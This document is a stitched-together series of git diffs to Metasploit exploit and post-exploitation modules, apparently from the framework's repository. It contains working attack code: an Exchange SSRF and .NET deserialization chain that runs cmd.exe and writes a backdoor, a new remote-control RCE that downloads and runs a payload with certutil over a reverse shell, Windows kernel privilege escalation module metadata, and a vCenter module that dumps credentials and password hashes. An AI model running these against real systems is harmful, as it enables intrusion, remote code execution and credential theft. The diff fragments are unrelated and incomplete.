uri = "/Autodiscover/autodiscover.json?#{ibm037(@ssrf_email + uri + '?')}&#{ibm037('Email')}=#{ibm037('Autodiscover/autodiscover.json?' + @ssrf_email)}"
opts[:headers] = {
'X-Up-Devcap-Post-Charset' => 'IBM037',
# technique needs the "UP" prefix, see: https://github.com/Microsoft/referencesource/blob/3b1eaf5203992df69de44c783a3eda37d3d4cd10/System/net/System/Net/HttpListenerRequest.cs#L362
'User-Agent' => "UP #{datastore['UserAgent']}"
}
else
uri = "/Autodiscover/autodiscover.json?#{@ssrf_email + uri}?&Email=Autodiscover/autodiscover.json?#{@ssrf_email}"
end
super(method, uri, opts)
end
def exploit
# if we're doing pre-exploit checks, make sure the target is Exchange Server 2019 because the XamlGadget does not
# work on Exchange Server 2016
if datastore['AutoCheck'] && !datastore['ForceExploit'] && (version = exchange_get_version)
vprint_status("Detected Exchange version: #{version}")
if version < Rex::Version.new('15.2')
fail_with(Failure::NoTarget, 'This exploit is only compatible with Exchange Server 2019 (version 15.2)')
end
end
@ssrf_email ||= Faker::Internet.email
case target['Type']
when :windows_command
vprint_status("Generated payload: #{payload.encoded}")
execute_command(payload.encoded)
when :windows_dropper
execute_cmdstager({ linemax: 7_500 })
end
end
def execute_command(cmd, _opts = {})
xaml = Nokogiri::XML(<<-XAML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<System:String>cmd.exe</System:String>
<System:String>/c #{cmd.encode(xml: :text)}</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
XAML
identity = Nokogiri::XML(<<-IDENTITY, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root
<Obj N="V" RefId="14">
<TN RefId="1">
<T>System.ServiceProcess.ServiceController</T>
<T>System.Object</T>
</TN>
<ToString>Object</ToString>
<Props>
<S N="Name">Type</S>
<Obj N="TargetTypeForDeserialization">
<TN RefId="1">
<T>System.Exception</T>
<T>System.Object</T>
</TN>
<MS>
<BA N="SerializationData">
#{Rex::Text.encode_base64(XamlLoaderGadget.generate.to_binary_s)}
</BA>
</MS>
</Obj>
</Props>
<S>
<![CDATA[#{xaml}]]>
</S>
</Obj>
IDENTITY
execute_powershell('Get-Mailbox', args: [
{ name: '-Identity', value: identity }
])
end
end
class XamlLoaderGadget < Msf::Util::DotNetDeserialization::Types::SerializedStream
include Msf::Util::DotNetDeserialization
def self.generate
from_values([
Types::RecordValues::SerializationHeaderRecord.new(root_id: 1, header_id: -1),
Types::RecordValues::SystemClassWithMembersAndTypes.from_member_values(
class_info: Types::General::ClassInfo.new(
obj_id: 1,
name: 'System.UnitySerializationHolder',
member_names: %w[Data UnityType AssemblyName]
),
member_type_info: Types::General::MemberTypeInfo.new(
binary_type_enums: %i[String Primitive String],
additional_infos: [ 8 ]
),
member_values: [
Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(
obj_id: 2,
string: 'System.Windows.Markup.XamlReader'
)),
4,
Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(
obj_id: 3,
string: 'PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35'
))
]
),
Types::RecordValues::MessageEnd.new
])
end
end
@@ -3,8 +3,6 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'winrm'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
@@ -12,7 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell
include Msf::Exploit::EXE
def initialize(info = {})
@@ -122,8 +120,7 @@ class MetasploitModule < Msf::Exploit::Remote
OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\auth']),
OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\inetpub\\wwwroot']),
OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']),
OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']),
OptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', Rex::UserAgent.session_agent])
OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002'])
])
end
@@ -259,7 +256,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
def probe_powershell_backend(common_access_token)
powershell_probe = send_http('GET', "/PowerShell/?X-Rps-CAT=#{common_access_token}&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}", cookie: :none)
powershell_probe = send_http('GET', "/PowerShell/?X-Rps-CAT=#{common_access_token}")
fail_with(Failure::UnexpectedReply, 'Failed to access the PowerShell backend') unless powershell_probe&.code == 200
end
@@ -274,7 +271,11 @@ class MetasploitModule < Msf::Exploit::Remote
probe_powershell_backend(common_access_token)
print_status("Assigning the 'Mailbox Import Export' role via #{email_address}")
unless execute_powershell(common_access_token, 'New-ManagementRoleAssignment', args: [ { name: '-Role', value: 'Mailbox Import Export' }, { name: '-User', value: email_address } ])
role_assigned = execute_powershell('New-ManagementRoleAssignment', cat: common_access_token, args: [
{ name: '-Role', value: 'Mailbox Import Export' },
{ name: '-User', value: email_address }
])
unless role_assigned
fail_with(Failure::BadConfig, 'The specified email address does not have the \'Mailbox Import Export\' role and can not self-assign it')
end
@@ -297,7 +298,11 @@ class MetasploitModule < Msf::Exploit::Remote
end
common_access_token = build_token(this_sid)
next unless execute_powershell(common_access_token, 'New-ManagementRoleAssignment', args: [ { name: '-Role', value: 'Mailbox Import Export' }, { name: '-User', value: this_email_address } ])
role_assigned = execute_powershell('New-ManagementRoleAssignment', cat: common_access_token, args: [
{ name: '-Role', value: 'Mailbox Import Export' },
{ name: '-User', value: this_email_address }
])
next unless role_assigned
@mailbox_user_sid = this_sid
@mailbox_user_email = this_email_address
@@ -310,39 +315,18 @@ class MetasploitModule < Msf::Exploit::Remote
def send_http(method, uri, opts = {})
ssrf = "Autodiscover/autodiscover.json?a=#{@ssrf_email}"
unless opts[:cookie] == :none
opts[:cookie] = "Email=#{ssrf}"
end
request = {
'method' => method,
'uri' => "/#{ssrf}#{uri}",
'agent' => datastore['UserAgent'],
'ctype' => opts[:ctype],
'headers' => { 'Accept' => '*/*', 'Cache-Control' => 'no-cache', 'Connection' => 'keep-alive' }
}
request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?
request = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil?
request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?
received = send_request_cgi(request)
fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received
received
opts[:cookie] = "Email=#{ssrf}"
super(method, "/#{ssrf}#{uri}", opts)
end
def get_emails
envelope = XMLTemplate.render('soap_getemails')
res = send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')
fail_with(Failure::UnexpectedReply, 'Failed to enumerate email addresses from Active Directory') unless res&.code == 200
mailbox_table = Rex::Text::Table.new(
'Header' => 'Exchange Mailboxes',
'Columns' => %w[EmailAddress Name RoutingType MailboxType]
)
xml_ns = { 't' => 'http://schemas.microsoft.com/exchange/services/2006/types' }
res.get_xml_document.xpath('//t:Mailbox', xml_ns).each do |mailbox|
mailbox_table << %w[t:EmailAddress t:Name t:RoutingType t:MailboxType].map { |xpath| mailbox.xpath(xpath, xml_ns)&.text || '' }
MailboxEnumerator.new(self).each do |row|
mailbox_table << row
end
print_status("Enumerated #{mailbox_table.rows.length} email addresses")
@@ -388,50 +372,6 @@ class MetasploitModule < Msf::Exploit::Remote
Rex::Text.encode_base64(token)
end
def execute_powershell(common_access_token, cmdlet, args: [])
winrm = SSRFWinRMConnection.new({
endpoint: full_uri('PowerShell/'),
transport: :ssrf,
ssrf_proc: proc do |method, uri, opts|
uri = "#{uri}?X-Rps-CAT=#{common_access_token}"
uri << "&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}"
opts[:cookie] = :none
opts[:data].gsub!(
%r{<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>(.*?)</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>},
"<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>http://127.0.0.1/PowerShell/</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>"
)
opts[:data].gsub!(
%r{<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI mustUnderstand="true">(.*?)</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>},
"<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>"
)
send_http(method, uri, opts)
end
})
successful = true
begin
winrm.shell(:powershell) do |shell|
shell.instance_variable_set(:@max_fragment_blob_size, WinRM::PSRP::MessageFragmenter::DEFAULT_BLOB_LENGTH)
shell.extend(SSRFWinRMConnection::PowerShell)
shell.run({ cmdlet: cmdlet, args: args }) do |_stdout, stderr|
unless stderr.blank?
successful = false
vprint_error('PSRP error received:')
vprint_line(stderr)
end
end
end
rescue WinRM::WinRMError => e
vprint_error("Exception: #{e.message}")
successful = false
rescue RuntimeError => e
print_error("Exception: #{e.inspect}")
successful = false
end
successful
end
def exploit
@ssrf_email ||= Faker::Internet.email
print_status('Attempt to exploit for CVE-2021-34473')
@@ -447,12 +387,12 @@ class MetasploitModule < Msf::Exploit::Remote
unc_path = "\\\\\\\\#{@backend_server_name}\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{unc_path}\\#{@shell_filename}"
end
normal_path = unc_path.gsub(/^\\+[\w.\-]+\\(.)\$\\/, '\1:\\')
normal_path = unc_path.gsub(/^\\+[\w.-]+\\(.)\$\\/, '\1:\\')
print_status("Writing to: #{normal_path}")
register_file_for_cleanup(normal_path)
@export_name = rand_text_alphanumeric(8..12)
successful = execute_powershell(@common_access_token, 'New-MailboxExportRequest', args: [
successful = execute_powershell('New-MailboxExportRequest', cat: @common_access_token, args: [
{ name: '-Name', value: @export_name },
{ name: '-Mailbox', value: @mailbox_user_email },
{ name: '-IncludeFolders', value: '#Drafts#' },
@@ -506,13 +446,13 @@ class MetasploitModule < Msf::Exploit::Remote
return unless @common_access_token && @export_name
print_status('Removing the mailbox export request')
execute_powershell(@common_access_token, 'Remove-MailboxExportRequest', args: [
execute_powershell('Remove-MailboxExportRequest', cat: @common_access_token, args: [
{ name: '-Identity', value: "#{@mailbox_user_email}\\#{@export_name}" },
{ name: '-Confirm', value: false }
])
print_status('Removing the draft email')
execute_powershell(@common_access_token, 'Search-Mailbox', args: [
execute_powershell('Search-Mailbox', cat: @common_access_token, args: [
{ name: '-Identity', value: @mailbox_user_email },
{ name: '-SearchQuery', value: "Subject:\"#{@draft_subject}\"" },
{ name: '-Force' },
@@ -536,6 +476,42 @@ class MetasploitModule < Msf::Exploit::Remote
end
end
# Use https://learn.microsoft.com/en-us/exchange/client-developer/web-service-reference/resolvenames to resolve mailbox
# information. The endpoint only returns 100 at a time though so if the target has more than that many email addresses
# multiple requests will need to be made. Since the endpoint doesn't support pagination, we refine the query by using
# progressively larger search prefixes until there are less than 101 results and thus will fit into a single response.
class MailboxEnumerator
def initialize(mod)
@mod = mod
end
# the characters that Exchange Server 2019 allows in an alias (no unicode)
ALIAS_CHARSET = 'abcdefghijklmnopqrstuvwxyz0123456789!#$%&\'*+-/=?^_`{|}~'.freeze
XML_NS = {
'm' => 'http://schemas.microsoft.com/exchange/services/2006/messages',
't' => 'http://schemas.microsoft.com/exchange/services/2006/types'
}.freeze
include Enumerable
XMLTemplate = Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell::XMLTemplate
def each(name: 'SMTP:', &block)
envelope = XMLTemplate.render('soap_getemails', name: name)
res = @mod.send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')
return unless res&.code == 200
if res.get_xml_document.xpath('//m:ResolutionSet/@IncludesLastItemInRange', XML_NS).first&.text&.downcase == 'false'
ALIAS_CHARSET.each_char do |char|
each(name: name + char, &block)
end
else
res.get_xml_document.xpath('//t:Mailbox', XML_NS).each do |mailbox|
yield %w[t:EmailAddress t:Name t:RoutingType t:MailboxType].map { |xpath| mailbox.xpath(xpath, XML_NS)&.text || '' }
end
end
end
end
class PstEncoding
ENCODE_TABLE = [
71, 241, 180, 230, 11, 106, 114, 72,
@@ -580,94 +556,3 @@ class PstEncoding
encoded
end
end
class XMLTemplate
def self.render(template_name, context = nil)
file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'proxyshell', "#{template_name}.xml.erb")
template = ::File.binread(file_path)
case context
when Hash
b = binding
locals = context.collect { |k, _| "#{k} = context[#{k.inspect}]; " }
b.eval(locals.join)
when NilClass
b = binding
else
raise ArgumentError
end
b.eval(Erubi::Engine.new(template).src)
end
end
class SSRFWinRMConnection < WinRM::Connection
class MessageFactory < WinRM::PSRP::MessageFactory
def self.create_pipeline_message(runspace_pool_id, pipeline_id, command)
WinRM::PSRP::Message.new(
runspace_pool_id,
WinRM::PSRP::Message::MESSAGE_TYPES[:create_pipeline],
XMLTemplate.render('create_pipeline', cmdlet: command[:cmdlet], args: command[:args]),
pipeline_id
)
end
end
# we have to define this class so we can define our own transport factory that provides one backed by the SSRF
# vulnerability
class TransportFactory < WinRM::HTTP::TransportFactory
class HttpSsrf < WinRM::HTTP::HttpTransport
# rubocop:disable Lint/
def initialize(endpoint, options)
@endpoint = endpoint.is_a?(String) ? URI.parse(endpoint) : endpoint
@ssrf_proc = options[:ssrf_proc]
end
def send_request(message)
resp = @ssrf_proc.call('POST', @endpoint.path, { ctype: 'application/soap+xml;charset=UTF-8', data: message })
WinRM::ResponseHandler.new(resp.body, resp.code).parse_to_xml
end
end
def create_transport(connection_opts)
raise NotImplementedError unless connection_opts[:transport] == :ssrf
super
end
private
def init_ssrf_transport(opts)
HttpSsrf.new(opts[:endpoint], opts)
end
end
module PowerShell
def send_command(command, _arguments)
command_id = SecureRandom.uuid.to_s.upcase
message = MessageFactory.create_pipeline_message(@runspace_id, command_id, command)
fragmenter.fragment(message) do |fragment|
command_args = [connection_opts, shell_id, command_id, fragment]
if fragment.start_fragment
resp_doc = transport.send_request(WinRM::WSMV::CreatePipeline.new(*command_args).build)
command_id = REXML::XPath.first(resp_doc, "//*[local-name() = 'CommandId']").text
else
transport.send_request(WinRM::WSMV::SendData.new(*command_args).build)
end
end
command_id
end
end
def initialize(connection_opts)
# these have to be set to truthy values to pass the option validation, but they're not actually used because hax
connection_opts.merge!({ user: :ssrf, password: :ssrf })
super(connection_opts)
end
def transport
@transport ||= begin
transport_factory = TransportFactory.new
transport_factory.create_transport(@connection_opts)
end
end
end
@@ -241,7 +241,7 @@ class MetasploitModule < Msf::Exploit::Local
buf << [size_buffer].pack("V") # ecx
buf << [@gadgets['mov [edi], ecx # ret']].pack("V")
# Copy the shellcode from the the registry to the
# Copy the shellcode from the registry to the
# memory allocated with executable permissions and
# ret into there
buf << [@addresses['RegGetValueA']].pack("V")
@@ -101,7 +101,7 @@ class MetasploitModule < Msf::Exploit::Local
run_injection(pid, dll_path, file_paths)
# Windows 7 this is cleared up by DLL but on Windows
# 8.1 it fails to delete the the file.
# 8.1 it fails to delete the file.
register_file_for_cleanup(file_paths[:szElevDllFull])
end
@@ -16,49 +16,49 @@ class MetasploitModule < Msf::Exploit::Local
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Windows Uninitialized Variable Local Privilege Elevation',
'Description' => %q{
This module exploits CVE-2019-1458, an arbitrary pointer dereference vulnerability
within win32k which occurs due to an uninitalized variable, which allows user mode attackers
to write a limited amount of controlled data to an attacker controlled address
in kernel memory. By utilizing this vulnerability to execute controlled writes
to kernel memory, an attacker can gain arbitrary code execution
as the SYSTEM user.
update_info(
info,
'Name' => 'Microsoft Windows Uninitialized Variable Local Privilege Elevation',
'Description' => %q{
This module exploits CVE-2019-1458, an arbitrary pointer dereference vulnerability
within win32k which occurs due to an uninitalized variable, which allows user mode attackers
to write a limited amount of controlled data to an attacker controlled address
in kernel memory. By utilizing this vulnerability to execute controlled writes
to kernel memory, an attacker can gain arbitrary code execution
as the SYSTEM user.
This module has been tested against Windows 7 x64 SP1. Offsets within the
exploit code may need to be adjusted to work with other versions of Windows.
The exploit can only be triggered once against the target and can cause the
target machine to reboot when the session is terminated.
},
'License' => MSF_LICENSE,
'Author' => [
'piotrflorczyk', # poc
'unamer', # exploit
'timwr', # msf module
],
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'Targets' => [
['Windows 7 x64', { 'Arch' => ARCH_X64 }]
],
'Notes' => {
'Stability' => [ CRASH_OS_RESTARTS ],
'Reliability' => [ UNRELIABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS ]
},
'References' => [
['CVE', '2019-1458'],
['URL', 'https://github.com/unamer/CVE-2019-1458'],
['URL', 'https://github.com/piotrflorczyk/cve-2019-1458_POC'],
['URL', 'https://securelist.com/windows-0-day-exploit-cve-2019-1458-used-in-operation-wizardopium/95432/'],
['URL', 'https://googleprojectzero.blogspot.com/p/rca-cve-2019-1458.html']
],
'DisclosureDate' => '2019-12-10',
'DefaultTarget' => 0,
'AKA' => [ 'WizardOpium' ]
)
This module has been tested against Windows 7 x64 SP1. Offsets within the
exploit code may need to be adjusted to work with other versions of Windows.
The exploit can only be triggered once against the target and can cause the
target machine to reboot when the session is terminated.
},
'License' => MSF_LICENSE,
'Author' => [
'piotrflorczyk', # poc
'unamer', # exploit
'timwr', # msf module
],
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'Targets' => [
['Windows 7 x64', { 'Arch' => ARCH_X64 }]
],
'Notes' => {
'Stability' => [ CRASH_OS_RESTARTS ],
'Reliability' => [ UNRELIABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS ]
},
'References' => [
['CVE', '2019-1458'],
['URL', 'https://github.com/unamer/CVE-2019-1458'],
['URL', 'https://github.com/piotrflorczyk/cve-2019-1458_POC'],
['URL', 'https://securelist.com/windows-0-day-exploit-cve-2019-1458-used-in-operation-wizardopium/95432/'],
['URL', 'https://googleprojectzero.blogspot.com/p/rca-cve-2019-1458.html']
],
'DisclosureDate' => '2019-12-10',
'DefaultTarget' => 0,
'AKA' => [ 'WizardOpium' ]
)
)
end
@@ -39,6 +39,14 @@ class MetasploitModule < Msf::Exploit::Local
['CVE', '2020-1313'],
['URL', 'https://github.com/irsl/CVE-2020-1313']
],
'Notes' => {
'Stability' => [],
'Reliability' => [],
'SideEffects' => [
IOC_IN_LOGS,
ARTIFACTS_ON_DISK
]
},
'DefaultOptions' => {
'DisablePayloadHandler' => true
},
@@ -49,6 +49,14 @@ class MetasploitModule < Msf::Exploit::Local
['URL', 'https://github.com/sailay1996/cve-2020-1337-poc'],
['URL', 'https://voidsec.com/cve-2020-1337-printdemon-is-dead-long-live-printdemon/']
],
'Notes' => {
'Stability' => [],
'Reliability' => [],
'SideEffects' => [
IOC_IN_LOGS,
ARTIFACTS_ON_DISK
]
},
'DefaultOptions' => {
'DisablePayloadHandler' => true
},
@@ -67,16 +67,23 @@ class MetasploitModule < Msf::Exploit::Local
]
],
'References' => [
%w(CVE 2011-2005),
%w(OSVDB 76232),
%w(EDB 18176),
%w(MSB MS11-080),
%w(URL http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/)
%w[CVE 2011-2005],
%w[OSVDB 76232],
%w[EDB 18176],
%w[MSB MS11-080],
%w[URL http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/]
],
'DisclosureDate' => '2011-11-30',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_OS_RESTARTS, ],
'Stability' => [
CRASH_OS_RESTARTS
],
'Reliability' => [],
'SideEffects' => [
IOC_IN_LOGS,
ARTIFACTS_ON_DISK
]
},
'Compat' => {
'Meterpreter' => {
@@ -88,7 +95,7 @@ class MetasploitModule < Msf::Exploit::Local
stdapi_sys_process_memory_write
]
}
},
}
}
)
)
@@ -0,0 +1,153 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
prepend Msf::Exploit::Remote::AutoCheck
include Exploit::Remote::Udp
include Exploit::EXE # generate_payload_exe
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Remote Control Collection RCE',
'Description' => %q{
This module utilizes the Remote Control Server's, part
of the Remote Control Collection by Steppschuh, protocol
to deploy a payload and run it from the server. This module will only deploy
a payload if the server is set without a password (default).
Tested against 3.1.1.12, current at the time of module writing
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'H4rk3nz0' # edb, discovery
],
'References' => [
[ 'URL', 'http://remote-control-collection.com' ],
[ 'URL', 'https://github.com/H4rk3nz0/PenTesting/blob/main/Exploits/remote%20control%20collection/remote-control-collection-rce.py' ]
],
'Arch' => [ ARCH_X64, ARCH_X86 ],
'Platform' => 'win',
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' => [
['default', {}],
],
'DefaultOptions' => {
'PAYLOAD' => 'windows/shell/reverse_tcp',
'WfsDelay' => 5,
'Autocheck' => false
},
'DisclosureDate' => '2022-09-20',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS]
}
)
)
register_options(
[
OptPort.new('RPORT', [true, 'Port Remote Mouse runs on', 1926]),
OptInt.new('SLEEP', [true, 'How long to sleep between commands', 1]),
OptString.new('PATH', [true, 'Where to stage payload for pull method', '%temp%\\']),
OptString.new('CLIENTNAME', [false, 'Name of client, this shows up in the logs', '']),
]
)
end
def path
return datastore['PATH'] if datastore['PATH'].end_with? '\\'
"#{datastore['PATH']}\\"
end
def special_key_header
"\x7f\x15\x02"
end
def key_header
"\x7f\x15\x01"
end
def windows_key
udp_sock.put("#{special_key_header}\x01\x00\x00\x00\xab") # key up
udp_sock.put("#{special_key_header}\x00\x00\x00\x00\xab") # key down
sleep(datastore['SLEEP'])
end
def enter_key
udp_sock.put("#{special_key_header}\x01\x00\x00\x00\x42")
sleep(datastore['SLEEP'])
end
def send_command(command)
command.each_char do |c|
udp_sock.put("#{key_header}#{c}")
sleep(datastore['SLEEP'] / 10)
end
enter_key
sleep(datastore['SLEEP'])
end
def check
@check_run = true
@check_success = false
upload_file
return Exploit::CheckCode::Vulnerable if @check_success
return Exploit::CheckCode::Safe
end
def on_request_uri(cli, _req)
@check_success = true
if @check_run # send a random file
p = Rex::Text.rand_text_alphanumeric(rand(8..17))
else
p = generate_payload_exe
end
send_response(cli, p)
print_good("Request received, sending #{p.length} bytes")
end
def upload_file
connect_udp
# send a space character to skip any screensaver
udp_sock.put("#{key_header} ")
print_status('Connecting and Sending Windows key')
windows_key
print_status('Opening command prompt')
send_command('cmd.exe')
filename = Rex::Text.rand_text_alphanumeric(rand(8..17))
filename << '.exe' unless @check_run
if @service_started.nil?
print_status('Starting up our web service...')
start_service('Path' => '/')
@service_started = true
end
get_file = "certutil.exe -urlcache -f http://#{srvhost_addr}:#{srvport}/ #{path}#{filename}"
send_command(get_file)
if @check_run.nil? || @check_run == true
send_command("del #{path}#{filename} && exit")
else
register_file_for_cleanup("#{path}#{filename}")
print_status('Executing payload')
send_command("#{path}#{filename} && exit")
end
disconnect_udp
end
def exploit
@check_run = false
upload_file
end
end
+146 -50
View File
@@ -10,9 +10,10 @@ class MetasploitModule < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Auxiliary::Report
include Msf::Post::Linux::Priv
include Msf::Post::Vcenter::Vcenter
include Msf::Post::Vcenter::Database
Rank = ManualRanking
def initialize(info = {})
super(
update_info(
@@ -35,7 +36,11 @@ class MetasploitModule < Msf::Post
associated private keys are also plundered and can be used to
sign forged SAML assertions for the /ui admin interface.
},
'Author' => 'npm[at]cesium137.io',
'Author' => [
'npm[at]cesium137.io', # original vcenter secrets dump
'Erik Wynter', # @wyntererik, postgres additions
'h00die' # tying it all together
],
'Platform' => [ 'linux', 'unix' ],
'DisclosureDate' => '2022-04-15',
'SessionTypes' => [ 'meterpreter', 'shell' ],
@@ -49,12 +54,17 @@ class MetasploitModule < Msf::Post
]
],
'DefaultAction' => 'Dump',
'References' => [
[ 'URL', 'https://github.com/shmilylty/vhost_password_decrypt' ],
[ 'CVE', '2022-22948' ],
[ 'URL', 'https://pentera.io/blog/information-disclosure-in-vmware-vcenter/' ],
[ 'URL', 'https://github.com/ErikWynter/metasploit-framework/blob/vcenter_gather_postgresql/modules/post/multi/gather/vmware_vcenter_gather_postgresql.rb' ]
],
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
},
'Privileged' => true
'Reliability' => [ ],
'SideEffects' => [ IOC_IN_LOGS ]
}
)
)
register_advanced_options([
@@ -66,14 +76,8 @@ class MetasploitModule < Msf::Post
end
# this is only here because of the SSO portion, which will get moved to the vcenter lib once someone is able to provide output to test against.
def vsphere_bin
{
'ldapsearch' => '/opt/likewise/bin/ldapsearch'
}
end
def ldapsearch_bin
vsphere_bin['ldapsearch']
'/opt/likewise/bin/ldapsearch'
end
def psql_bin
@@ -88,35 +92,94 @@ class MetasploitModule < Msf::Post
vc_type_embedded || vc_type_infrastructure
end
def check_cve_2022_22948
# https://github.com/PenteraIO/CVE-2022-22948/blob/main/CVE-2022-22948-scanner.sh#L5
cmd_exec('stat -c "%G" "/etc/vmware-vpx/vcdb.properties"') == 'cis'
end
def run
get_vcsa_version
print_status('Validating target ...')
validate_target
print_status('Gathering vSphere SSO domain information ...')
vmdir_init
if print_status('Extracting PostgreSQL database credentials ...')
get_db_creds
print_status('Extract ESXi host vpxuser credentials ...')
enum_vpx_user_creds
if check_cve_2022_22948
print_good('Vulnerable to CVE-2022-22948')
report_vuln(
host: rhost,
port: rport,
name: name,
refs: ['CVE-2022-22948'],
info: "Module #{fullname} found /etc/vmware-vpx/vcdb.properties owned by cis group"
)
end
print_status('Validating target')
validate_target
print_status('Gathering vSphere SSO domain information')
vmdir_init
print_status('Extracting PostgreSQL database credentials')
get_db_creds
print_status('Extract ESXi host vpxuser credentials')
enum_vpx_user_creds
if datastore['DUMP_VMDIR'] && vcenter_infrastructure
print_status('Extracting vSphere SSO domain secrets ...')
print_status('Extracting vSphere SSO domain secrets')
vmdir_dump
end
if datastore['DUMP_VMAFD']
print_status('Extracting certificates from vSphere platform ...')
print_status('Extracting certificates from vSphere platform')
vmafd_dump
if datastore['DUMP_SPEC'] && vcenter_management
print_status('Searching for secrets in VM Guest Customization Specification XML ...')
print_status('Searching for secrets in VM Guest Customization Specification XML')
enum_vm_cust_spec
end
end
if is_root?
print_status('Retrieving .pgpass file')
retrieved_pg_creds = false
pgpass_contents = process_pgpass_file
pgpass_contents.each do |p|
extra_service_data = {
address: p['hostname'] =~ /localhost|127.0.0.1/ ? Rex::Socket.getaddress(rhost) : p['hostname'],
port: p['port'],
service_name: 'psql',
protocol: 'tcp',
workspace_id: myworkspace_id,
module_fullname: fullname,
origin_type: :service
}
print_good(".pgpass creds found: #{p['username']}, #{p['password']} for #{p['hostname']}:#{p['database']}")
store_valid_credential(user: p['username'], private: p['password'], service_data: extra_service_data, private_type: :password)
next if p['database'] != 'postgres'
next unless retrieved_pg_creds == false
creds = query_pg_shadow_values(p['password'], p['username'], p['database'])
retrieved_pg_creds = true unless creds.nil?
creds.each do |cred|
print_good("posgres database creds found: #{cred['user']}, #{cred['password_hash']}")
credential_data = {
username: cred['user'],
private_data: cred['password_hash'],
private_type: :nonreplayable_hash,
jtr_format: Metasploit::Framework::Hashes.identify_hash(cred['password_hash'])
}.merge(extra_service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(extra_service_data)
create_credential_login(login_data)
end
end
path = store_loot('.pgpass', 'text/plain', session, pgpass_contents, 'pgpass.json')
print_good("Saving the /root/.pgpass contents to #{path}")
end
end
def vmdir_init
@@ -141,7 +204,7 @@ class MetasploitModule < Msf::Post
self.base_dn = vsphere_domain_dn
vprint_status("vSphere SSO Domain DN: #{base_dn}")
vprint_status('Extracting dcAccountDN and dcAccountPassword via lwregshell on local vCenter ...')
vprint_status('Extracting dcAccountDN and dcAccountPassword via lwregshell on local vCenter')
vsphere_domain_dc_dn = get_domain_dc_dn
unless is_dn?(vsphere_domain_dc_dn)
fail_with(Msf::Exploit::Failure::Unknown, 'Could not determine vmdir dcAccountDN from lwregshell')
@@ -188,23 +251,23 @@ class MetasploitModule < Msf::Post
p = store_loot('vmdir', 'LDIF', rhost, vmdir_ldif, 'vmdir.ldif', 'vCenter vmdir LDIF dump')
print_good("LDIF Dump: #{p}")
print_status('Processing vmdir LDIF (this may take several minutes) ...')
print_status('Processing vmdir LDIF (this may take several minutes)')
ldif_file = ::File.open(p, 'rb')
